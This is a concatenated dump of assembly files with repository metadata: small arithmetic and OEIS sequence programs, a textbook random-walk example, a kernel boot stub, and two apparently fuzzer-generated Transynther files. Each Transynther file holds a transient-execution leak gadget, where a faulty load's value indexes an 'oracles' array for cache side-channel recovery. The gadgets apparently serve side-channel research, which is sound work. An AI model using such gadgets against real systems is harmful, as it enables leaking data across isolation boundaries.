135690945f5e29938ef640a3d5475f8a12dbd76c
|
[
"MIT"
] | null | null | null |
.text
addi $t0,$zero,25000 # t0 = 0 + 25000
sll $s0,$t0,2 # s0 = t0 * 2^2, x = s0, x = 100000
sll $s1,$t0,3 # s1 = t0 * 2^3, y = s1, y = 200000
add $s2,$s0,$s1 # s2 = s0 + s1 | z = x + y
| 21.9
| 59
| 0.424658
|
9885f7791e9b383239301473df0a1e8e5b9c3b11
| 681
|
asm
|
Assembly
|
oeis/015/A015177.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/015/A015177.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/015/A015177.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A015177: Sum of (Gaussian) q-binomial coefficients for q=-12.
; Submitted by Christian Krause
; 1,2,-9,268,16097,5589174,-3994286453,16681189975136,143155871655133749,7172892651869295403018,-738638508197444971086627361,444125129581255110369102906170292,548815482754196320790032447578510162313,3959865364571704158400109500272058863584565086,-58719519741804093911206848731040260847748938754345677,5084144141262086520902212724099371236818381687870885542105864,904692917679614173167140925322737719226169249073605605002853602488541
mov $1,$0
mov $0,0
add $1,1
mov $2,1
mov $3,1
lpb $1
sub $1,1
mov $4,$2
mul $2,-12
mul $4,$3
add $0,$4
sub $3,$4
add $3,$0
lpe
mov $0,$3
| 34.05
| 432
| 0.816446
|
7ed2e70b514b5fe9a295917681ff1b8b7cbed85e
| 2,218
|
asm
|
Assembly
|
Examples/ch10/Walk.asm
|
satadriver/LiunuxOS
|
693174ac2b3e503d72782fc7a14f18c8a4f2756c
|
[
"Apache-2.0"
] | null | null | null |
Examples/ch10/Walk.asm
|
satadriver/LiunuxOS
|
693174ac2b3e503d72782fc7a14f18c8a4f2756c
|
[
"Apache-2.0"
] | null | null | null |
Examples/ch10/Walk.asm
|
satadriver/LiunuxOS
|
693174ac2b3e503d72782fc7a14f18c8a4f2756c
|
[
"Apache-2.0"
] | null | null | null |
TITLE Drunkard's Walk (Walk.asm)
; Drunkard's walk program. This is a simple version that
; starts at coordinate 50,50 and wanders around the immediate area.
; Last update: 8/14/01.
INCLUDE Irvine32.inc
WalkMax = 30
StartX = 25
StartY = 25
DrunkardWalk STRUCT
path COORD WalkMax DUP(<0,0>)
pathsUsed WORD 0
DrunkardWalk ENDS
DisplayPosition PROTO currX:WORD, currY:WORD
.data
aWalk DrunkardWalk <>
.code
main PROC
mov esi,offset aWalk
call TakeDrunkenWalk
exit
main ENDP
;-------------------------------------------------------
TakeDrunkenWalk PROC
LOCAL currX:WORD, currY:WORD
;
; Take a walk in random directions (north, south, east,
; west).
; Receives: ESI points to a DrunkardWalk structure
; Returns: the structure is initialized with random values
;-------------------------------------------------------
pushad
; Point EDI to the array of COORD objects.
mov edi,esi
add edi,OFFSET DrunkardWalk.path
mov ecx,WalkMax ; loop counter
mov currX,StartX ; current X-location
mov currY,StartY ; current Y-location
Again:
; Insert current location in array.
mov ax,currX
mov (COORD PTR [edi]).X,ax
mov ax,currY
mov (COORD PTR [edi]).Y,ax
INVOKE DisplayPosition, currX, currY
mov eax,4 ; choose a direction (0-3)
call RandomRange
.IF eax == 0 ; North
dec currY
.ELSEIF eax == 1 ; South
inc currY
.ELSEIF eax == 2 ; West
dec currX
.ELSE ; East (EAX = 3)
inc currX
.ENDIF
next:
add edi,TYPE COORD ; point to next COORD
loop Again
finish:
mov ax,WalkMax ; count the steps taken
sub ax,cx
mov (DrunkardWalk PTR [esi]).pathsUsed, ax
popad
ret
TakeDrunkenWalk ENDP
;-------------------------------------------------------
DisplayPosition PROC currX:WORD, currY:WORD
;
; Display the current X and Y positions.
; Optional: used for debugging.
;-------------------------------------------------------
.data
commaStr BYTE ",",0
.code
pushad
movzx eax,currX ; current X position
call WriteDec
mov edx,OFFSET commaStr ; "," string
call WriteString
movzx eax,currY ; current Y position
call WriteDec
call Crlf
popad
ret
DisplayPosition ENDP
END main
| 21.745098
| 68
| 0.622633
|
06466b4b0f70c434ced9a39f1b5bf54ae49e62e9
| 7,167
|
asm
|
Assembly
|
Transynther/x86/_processed/AVXALIGN/_st_/i7-7700_9_0x48.log_21829_1508.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/AVXALIGN/_st_/i7-7700_9_0x48.log_21829_1508.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/AVXALIGN/_st_/i7-7700_9_0x48.log_21829_1508.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r9
push %rax
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_A_ht+0x1aa6c, %rsi
lea addresses_A_ht+0x4bcc, %rdi
nop
nop
nop
nop
nop
sub $11769, %r11
mov $6, %rcx
rep movsq
sub $63374, %r11
lea addresses_WT_ht+0x1566c, %rbp
nop
nop
nop
nop
cmp $51427, %rsi
mov (%rbp), %r11
nop
xor $5621, %r11
lea addresses_WC_ht+0x21ec, %r9
nop
nop
nop
cmp %rax, %rax
mov (%r9), %r11w
nop
nop
nop
sub %rax, %rax
lea addresses_WC_ht+0x144c, %r11
sub $60025, %r9
mov $0x6162636465666768, %rcx
movq %rcx, (%r11)
nop
nop
nop
nop
nop
cmp %rax, %rax
lea addresses_UC_ht+0xe7ec, %rcx
nop
nop
nop
nop
add %rdi, %rdi
mov (%rcx), %r11w
and $2365, %rax
lea addresses_A_ht+0x160ec, %rax
xor $27265, %r9
movb $0x61, (%rax)
nop
nop
sub $55008, %rsi
lea addresses_UC_ht+0x8f2c, %rsi
clflush (%rsi)
nop
nop
cmp $22227, %r9
mov (%rsi), %rbp
dec %rdi
lea addresses_WT_ht+0x16cec, %rbp
nop
xor %rcx, %rcx
mov (%rbp), %r9d
nop
nop
nop
sub $4061, %rsi
lea addresses_A_ht+0x15aec, %rsi
lea addresses_A_ht+0xe16c, %rdi
inc %r9
mov $111, %rcx
rep movsw
nop
and %rdi, %rdi
lea addresses_D_ht+0x10b6c, %r9
nop
nop
cmp %rbp, %rbp
movups (%r9), %xmm4
vpextrq $0, %xmm4, %rcx
nop
add $2521, %rcx
lea addresses_D_ht+0xaeec, %rbp
cmp %rdi, %rdi
movb $0x61, (%rbp)
sub %r11, %r11
lea addresses_WC_ht+0x82ec, %r9
xor %rdi, %rdi
mov $0x6162636465666768, %rsi
movq %rsi, (%r9)
nop
nop
nop
nop
and $11697, %r9
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r9
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r15
push %rax
push %rbx
push %rdi
push %rdx
push %rsi
// Store
mov $0x370180000000bac, %rdi
nop
nop
nop
cmp %r15, %r15
movb $0x51, (%rdi)
nop
nop
nop
nop
add %rbx, %rbx
// Store
lea addresses_WT+0x652c, %rsi
nop
sub $3193, %rdx
movw $0x5152, (%rsi)
nop
nop
nop
nop
nop
dec %rbx
// Faulty Load
lea addresses_PSE+0x1b2ec, %r15
nop
nop
nop
sub %r10, %r10
mov (%r15), %dx
lea oracles, %r10
and $0xff, %rdx
shlq $12, %rdx
mov (%r10,%rdx,1), %rdx
pop %rsi
pop %rdx
pop %rdi
pop %rbx
pop %rax
pop %r15
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'AVXalign': False, 'congruent': 0, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_NC', 'AVXalign': False, 'congruent': 4, 'size': 1, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'AVXalign': False, 'congruent': 5, 'size': 2, 'same': False, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'AVXalign': True, 'congruent': 0, 'size': 2, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 5, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'AVXalign': True, 'congruent': 7, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 7, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 5, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'AVXalign': True, 'congruent': 8, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 9, 'size': 1, 'same': False, 'NT': True}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 0, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 6, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 3, 'same': True}, 'dst': {'type': 'addresses_A_ht', 'congruent': 7, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 7, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 10, 'size': 1, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 11, 'size': 8, 'same': False, 'NT': True}}
{'33': 21829}
33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33
*/
| 36.753846
| 2,999
| 0.650342
|
f6886a94df2ada34dfacb0e157de13a9f0311f55
| 2,279
|
asm
|
Assembly
|
kernel/src/entry.asm
|
0x2A/osdev
|
110141c94906871831733fbf6ac6723f1bbc6fb4
|
[
"Zlib"
] | 1
|
2016-04-07T01:51:14.000Z
|
2016-04-07T01:51:14.000Z
|
kernel/src/entry.asm
|
0x2A/osdev
|
110141c94906871831733fbf6ac6723f1bbc6fb4
|
[
"Zlib"
] | null | null | null |
kernel/src/entry.asm
|
0x2A/osdev
|
110141c94906871831733fbf6ac6723f1bbc6fb4
|
[
"Zlib"
] | null | null | null |
; Declare constants used for creating a multiboot header.
MBALIGN equ 1<<0 ; align loaded modules on page boundaries
MEMINFO equ 1<<1 ; provide memory map
FLAGS equ MBALIGN | MEMINFO ; this is the Multiboot 'flag' field
MAGIC equ 0x1BADB002 ; 'magic number' lets bootloader find the header
CHECKSUM equ -(MAGIC + FLAGS) ; checksum of above, to prove we are multiboot
[BITS 32] ; All instructions should be 32-bit.
[EXTERN end] ; End of the last loadable section.
; Declare a header as in the Multiboot Standard. We put this into a special
; section so we can force the header to be in the start of the final program.
; You don't need to understand all these details as it is just magic values that
; is documented in the multiboot standard. The bootloader will search for this
; magic sequence and recognize us as a multiboot kernel.
section .multiboot
align 4
dd MAGIC
dd FLAGS
dd CHECKSUM
dd end
; Currently the stack pointer register (esp) points at anything and using it may
; cause massive harm. Instead, we'll provide our own stack. We will allocate
; room for a small temporary stack by creating a symbol at the bottom of it,
; then allocating 16384 bytes for it, and finally creating a symbol at the top.
section .bootstrap_stack, nobits
align 4
stack_bottom:
RESB 16384
stack_top:
; The linker script specifies _start as the entry point to the kernel and the
; bootloader will jump to this position once the kernel has been loaded. It
; doesn't make sense to return from this function as the bootloader is gone.
section .text
global _start
_start:
; Welcome to kernel mode!
; To set up a stack, we simply set the esp register to point to the top of
; our stack (as it grows downwards).
mov esp, stack_top
extern kernel_main
call kernel_main
; In case the function returns, we'll want to put the computer into an
; infinite loop. To do that, we use the clear interrupt ('cli') instruction
; to disable interrupts, the halt instruction ('hlt') to stop the CPU until
; the next interrupt arrives, and jumping to the halt instruction if it ever
; continues execution, just to be safe.
;cli
.hang:
hlt
jmp .hang
| 38.627119
| 88
| 0.71742
|
32b41929cbfa50ee5a14555a0d3773a40655bc73
| 396
|
asm
|
Assembly
|
oeis/052/A052201.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/052/A052201.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/052/A052201.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A052201: Equivalent of the Kurepa hypothesis for left factorial.
; Submitted by Jon Maiga
; 4,15,48,175,816,4851,34960,292743,2774040,29251651,339184776,4285584615,58571107168,860622082035,13525670637216,226358825764711,4018390654376520,75413358213752643,1491684815796629080
add $0,2
lpb $0
add $1,$0
add $1,1
mul $2,$0
add $2,$1
add $1,$0
sub $0,1
lpe
mov $0,$2
div $0,2
sub $0,1
| 23.294118
| 184
| 0.742424
|
1b0c2e3ce169a07fea7cae9fbf43229b5879b2b6
| 619
|
asm
|
Assembly
|
oeis/010/A010496.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/010/A010496.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/010/A010496.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A010496: Decimal expansion of square root of 42.
; 6,4,8,0,7,4,0,6,9,8,4,0,7,8,6,0,2,3,0,9,6,5,9,6,7,4,3,6,0,8,7,9,9,6,6,5,7,7,0,5,2,0,4,3,0,7,0,5,8,3,4,6,5,4,9,7,1,1,3,5,4,3,9,7,8,0,9,6,1,7,3,7,7,8,4,4,0,4,4,3,7,1,4,0,0,3,6,0,9,0,6,6,0,5,6,1,0,2,3,5
mov $1,1
mov $2,1
mov $3,$0
add $3,8
mov $4,$0
add $4,3
mul $4,2
mov $7,10
pow $7,$4
mov $9,10
lpb $3
mov $4,$2
pow $4,2
mul $4,42
mov $5,$1
pow $5,2
add $4,$5
mov $6,$1
mov $1,$4
mul $6,$2
mul $6,2
mov $2,$6
mov $8,$4
div $8,$7
max $8,2
div $1,$8
div $2,$8
sub $3,1
lpe
mov $3,$9
pow $3,$0
div $2,$3
div $1,$2
mod $1,$9
mov $0,$1
| 15.871795
| 201
| 0.50727
|
443b9fc3c5bdb71942fef18d7ca7fe03828578f6
| 8,288
|
asm
|
Assembly
|
Transynther/x86/_processed/NONE/_zr_xt_/i9-9900K_12_0xa0_notsx.log_21829_270.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/NONE/_zr_xt_/i9-9900K_12_0xa0_notsx.log_21829_270.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/NONE/_zr_xt_/i9-9900K_12_0xa0_notsx.log_21829_270.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r14
push %r8
push %r9
push %rbp
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_WC_ht+0x138ff, %r14
clflush (%r14)
nop
nop
nop
nop
nop
dec %r8
mov $0x6162636465666768, %rbx
movq %rbx, (%r14)
nop
nop
nop
xor %r9, %r9
lea addresses_normal_ht+0x8b0b, %rsi
lea addresses_WC_ht+0x9219, %rdi
nop
cmp $26601, %rbp
mov $38, %rcx
rep movsw
nop
nop
nop
sub %rbx, %rbx
lea addresses_WT_ht+0x510f, %r8
nop
nop
nop
nop
nop
cmp %rcx, %rcx
movw $0x6162, (%r8)
nop
xor %r9, %r9
lea addresses_UC_ht+0x15558, %rsi
nop
nop
nop
nop
and $54328, %rbx
movb (%rsi), %cl
nop
nop
dec %r8
lea addresses_UC_ht+0x1673f, %rsi
nop
nop
nop
nop
nop
xor $20385, %r9
movw $0x6162, (%rsi)
xor %r8, %r8
lea addresses_WT_ht+0xb4ff, %rsi
lea addresses_normal_ht+0x124ff, %rdi
clflush (%rdi)
cmp $23208, %rbp
mov $2, %rcx
rep movsw
sub %rcx, %rcx
lea addresses_A_ht+0x2f27, %rsi
nop
nop
nop
nop
xor %r8, %r8
mov $0x6162636465666768, %rdi
movq %rdi, %xmm2
vmovups %ymm2, (%rsi)
nop
nop
nop
nop
nop
xor %rbx, %rbx
lea addresses_WC_ht+0x1b91f, %rcx
nop
nop
nop
add $64223, %rsi
movb $0x61, (%rcx)
nop
nop
nop
sub %r9, %r9
lea addresses_A_ht+0x10427, %rsi
lea addresses_UC_ht+0x1507f, %rdi
nop
nop
nop
nop
nop
dec %r14
mov $88, %rcx
rep movsb
cmp %rdi, %rdi
lea addresses_A_ht+0xaaff, %r9
nop
nop
nop
sub $49781, %rdi
mov $0x6162636465666768, %r8
movq %r8, (%r9)
nop
nop
nop
cmp $13410, %r8
lea addresses_A_ht+0x121ff, %rdi
nop
nop
add %r14, %r14
mov (%rdi), %ebp
nop
nop
nop
nop
nop
and $7764, %rbx
lea addresses_WT_ht+0x2377, %rsi
lea addresses_normal_ht+0x1d4ff, %rdi
nop
nop
nop
and %rbp, %rbp
mov $113, %rcx
rep movsl
nop
nop
nop
nop
nop
add %rcx, %rcx
lea addresses_WC_ht+0x3ed7, %rbx
clflush (%rbx)
nop
nop
nop
dec %rbp
mov $0x6162636465666768, %rdi
movq %rdi, (%rbx)
nop
nop
nop
nop
inc %rdi
lea addresses_WT_ht+0x19a3f, %r14
nop
nop
mfence
mov (%r14), %di
dec %rcx
lea addresses_D_ht+0x181f7, %rcx
nop
nop
nop
nop
nop
cmp $29215, %rsi
vmovups (%rcx), %ymm2
vextracti128 $1, %ymm2, %xmm2
vpextrq $0, %xmm2, %rbx
xor $14919, %r9
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %r9
pop %r8
pop %r14
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r14
push %r15
push %rax
push %rbp
push %rbx
push %rdx
// Store
lea addresses_A+0x15037, %rax
nop
nop
nop
dec %rdx
mov $0x5152535455565758, %r14
movq %r14, %xmm2
vmovups %ymm2, (%rax)
nop
sub $51504, %r14
// Store
lea addresses_A+0x197f, %rbx
nop
nop
nop
add %r12, %r12
mov $0x5152535455565758, %r15
movq %r15, (%rbx)
nop
nop
dec %r14
// Faulty Load
lea addresses_A+0xb8ff, %r15
add %rbp, %rbp
mov (%r15), %r12w
lea oracles, %rbp
and $0xff, %r12
shlq $12, %r12
mov (%rbp,%r12,1), %r12
pop %rdx
pop %rbx
pop %rbp
pop %rax
pop %r15
pop %r14
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_A', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_A', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 2}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 5}}
[Faulty Load]
{'src': {'type': 'addresses_A', 'AVXalign': False, 'size': 2, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 10}}
{'src': {'type': 'addresses_normal_ht', 'congruent': 2, 'same': True}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC_ht', 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 4}}
{'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 6}}
{'src': {'type': 'addresses_WT_ht', 'congruent': 10, 'same': True}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 10, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 2}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 4}}
{'src': {'type': 'addresses_A_ht', 'congruent': 1, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC_ht', 'congruent': 7, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 9}}
{'src': {'type': 'addresses_A_ht', 'AVXalign': True, 'size': 4, 'NT': False, 'same': False, 'congruent': 1}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WT_ht', 'congruent': 0, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 10, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': True, 'size': 8, 'NT': False, 'same': False, 'congruent': 2}}
{'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 4}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 3}, 'OP': 'LOAD'}
{'35': 21828, '00': 1}
00 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 